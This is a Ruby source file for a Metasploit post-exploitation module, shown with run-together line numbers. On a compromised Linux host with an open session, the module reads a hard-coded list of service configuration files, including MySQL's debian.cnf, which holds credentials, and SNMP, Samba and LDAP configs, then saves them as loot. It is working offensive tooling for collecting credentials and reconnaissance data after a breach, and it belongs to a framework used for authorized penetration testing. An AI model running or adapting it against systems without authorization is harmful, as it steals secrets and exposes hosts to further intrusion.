Path: blob/master/modules/post/linux/gather/enum_configs.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Linux::System78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linux Gather Configurations',13'Description' => %q{14This module collects configuration files found on commonly installed15applications and services, such as Apache, MySQL, Samba, Sendmail, etc.16If a config file is found in its default path, the module will assume17that is the file we want.18},19'License' => MSF_LICENSE,20'Author' => [21'ohdae <bindshell[at]live.com>',22],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)32end3334def run35distro = get_sysinfo3637print_status "Running module against #{session.session_host} [#{get_hostname}]"38print_status 'Info:'39print_status "\t#{distro[:version]}"40print_status "\t#{distro[:kernel]}"4142vprint_status 'Finding configuration files...'43find_configs44end4546def save(file, data, ctype = 'text/plain')47ltype = 'linux.enum.conf'48fname = ::File.basename(file)49loot = store_loot(ltype, ctype, session, data, fname)50print_good("#{fname} stored in #{loot}")51end5253def find_configs54configs = [55'/etc/apache2/apache2.conf', '/etc/apache2/ports.conf', '/etc/nginx/nginx.conf',56'/etc/snort/snort.conf', '/etc/mysql/my.cnf', '/etc/ufw/ufw.conf',57'/etc/ufw/sysctl.conf', '/etc/security.access.conf', '/etc/shells',58'/etc/security/sepermit.conf', '/etc/ca-certificates.conf', '/etc/security/access.conf',59'/etc/gated.conf', '/etc/rpc', '/etc/psad/psad.conf', '/etc/mysql/debian.cnf',60'/etc/chkrootkit.conf', '/etc/logrotate.conf', '/etc/rkhunter.conf',61'/etc/samba/smb.conf', '/etc/ldap/ldap.conf', '/etc/openldap/openldap.conf',62'/etc/cups/cups.conf', '/etc/opt/lampp/etc/httpd.conf', '/etc/sysctl.conf',63'/etc/proxychains.conf', '/etc/cups/snmp.conf', '/etc/mail/sendmail.conf',64'/etc/snmp/snmp.conf'65]6667configs.each do |f|68output = read_file(f).to_s69next if output.strip.empty?70next if output =~ /No such file or directory/7172save(f, output)73end74end75end767778